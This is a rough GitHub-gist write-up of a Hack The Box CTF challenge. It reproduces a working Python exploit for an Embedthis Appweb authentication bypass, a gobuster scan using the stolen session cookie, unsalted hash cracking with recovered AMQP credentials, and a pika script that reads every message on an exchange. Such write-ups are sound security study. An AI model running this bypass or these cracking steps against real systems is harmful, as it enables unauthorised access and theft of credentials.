-
Port
31227
-> Basic Auth, no luck withadmin/admin, ...
& useradmin
+ rockyou.txt -
Port
32544
-> AMQP, requires auth, no luck withguest/guest
& useradmin
+rockyou.txt -
Ports change with restart of Docker-container + Services of other challanges are running on the same IP but different port ...
-
The authentication form tells us, this is a AppWeb Embedded Server
- Found common vuln for app web: https://lab.wallalarm.com
- Found working exploit for user
admin
at https://vulners.com: - Rewrite of exploit for python3:
import requests import argparse print ("""---------------------------------------------------------------- Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass ---------------------------------------------------------------- """) def test_digest(r): auth = ["realm", "domain", "qop", "nonce", "opaque", "algorithm", "stale", "MD5", "FALSE", "Digest"] wwwauthenticate = r.headers.get('WWW-Authenticate') if wwwauthenticate is None: return False for k in auth: if k not in wwwauthenticate: return False return True def test_form(r): """ extremely shoddy recognition, expect false positives """ auth = [("X-XSS-Protection", "1; mode=block"), ("X-Content-Type-Options", "nosniff"), ("ETag", None), ("Date", None)] potential_auth = [("Last Modified", ""), ("X-Frame-Options", "SAMEORIGIN"), ("Accept-Ranges", "bytes"), ("Content-Type", "text/html")] if r.headers.get("WWW-Authenticate") is not None: return False for k, v in auth: rv = r.headers.get(k) if not rv: return False if v is not None and v != rv: return False potential_count = 0 for k, v in potential_auth: rv = r.headers.get(k) if rv and v != "" and v == rv: potential_count += 1 print("[+] Optional matchings: {}/{}".format(potential_count, len(potential_auth))) return True def test(url): """ Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration """ r = requests.get(url) # EmbedThis GoAhead uses a similar headers configuration, let's skip it explicitly serv = r.headers.get("Server") if serv and "GoAhead" in serv: return False if test_digest(r): return "digest" elif test_form(r): return "form" return None def exploit(url, username="joshua", authtype="digest"): payload = { "username": username } headers = { "authorization": "Digest username={}".format(username), "user-agent": "TruelBot", "content-type": "application/x-www-form-urlencoded", } if authtype == "digest": r = requests.get(url, data=payload, headers=headers) else: r = requests.post(url, data=payload, headers=headers) print(r.content) if r.status_code != 200 or len(r.cookies) < 1: print("[!] Exploit failed, HTTP status code {}".format(r.status_code)) return print("[*] Succesfully exploited, here's your c00kie:\n {}".format(dict(r.cookies)) ) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)") parser.add_argument('-t', '--target', required=True, help="specify the target url (i.e., http(s)://target-url[:port]/)") parser.add_argument('-u', '--user', required=True, help="you need to know a valid user name") parser.add_argument('-c', '--check', action='store_true', default=False, help="test for exploitability without running the actual exploit") parser.add_argument('-f', '--force', action='store_true', default=False, help="skip exploitability test") args = parser.parse_args() url = args.target username = args.user t = "form" # default will try form/post if args.check or not args.force: t = test(url) if t is None: print("[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)") else: print("[+] Potential appweb/embedthis http, {} method".format(t)) if not args.check: print("[!] Exploiting {}, user {}!".format(url, username)) exploit(url, username, t)
- Exploit generates working cookie
-http-session-
- After sending cookie with request, an admin panel is revealed:
- Gobuster result with cookie
$gobuster dir -c "-http-session-=2::http.session::746f086b9785a33d7a1df4ae329fcacb" -u http://46.101.37.171:32387 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 1 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://46.101.37.171:32387 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] Cookies: -http-session-=2::http.session::746f086b9785a33d7a1df4ae329fcacb [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/04/21 05:55:06 Starting gobuster in directory enumeration mode =============================================================== /images (Status: 301) [Size: 203] [--> http://46.101.37.171:8080/images/] /icons (Status: 301) [Size: 202] [--> http://46.101.37.171:8080/icons/] /test (Status: 301) [Size: 201] [--> http://46.101.37.171:8080/test/] /bench (Status: 301) [Size: 202] [--> http://46.101.37.171:8080/bench/]
- Password-Hashes (SHA256, no salt,
hashcat -m 1400
)- Crackstation is able to find a valid AMQP passwd
winniethepooh
for useranthony_davis
, hash89D9743B793B22AEB9A8142ABD59FDF4CDABFDD01796C31BE7587C114E0D37C1
- user
leo
hash27BE4E31517E61D2BEF777B7293B7D8C73C14BD1B8F2839A7B8226CBEFF30E99
- Crackstation is able to find a valid AMQP passwd
- AMQP login success with user
anthony_davis
- Subscribing to all Channels on exchange
Base
of userleo
reveals the flag - Exploit:
import pika parameters = pika.URLParameters('amqp://anthony_davis:[email protected]:32442/%2F') def on_message(channel, method_frame, header_frame, body): print(method_frame.delivery_tag) print(body) print() channel.basic_ack(delivery_tag=method_frame.delivery_tag) connection = pika.BlockingConnection(parameters) channel = connection.channel() # Declare exchange type explicitly as 'topic', taken from admin-panel channel.exchange_declare(exchange='Base', exchange_type='topic') result = channel.queue_declare(queue='', exclusive=False) queue_name = result.method.queue # Subscribe to wildcard topic `#` = Print all messages of exchange channel.queue_bind(queue=queue_name, exchange='Base', routing_key='#') def callback(ch, method, properties, body): print(" [x] %r:%r" % (method.routing_key, body)) channel.basic_consume( queue=queue_name, on_message_callback=callback, auto_ack=True) channel.start_consuming()
Created
April 23, 2021 23:38
-
-
Save telecastr/ddb80ad436fe3f2457677dfb1f973820 to your computer and use it in GitHub Desktop.
HTB - Cyberapocalypse 2021 - Discovery (HW) - Rough Writeup
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment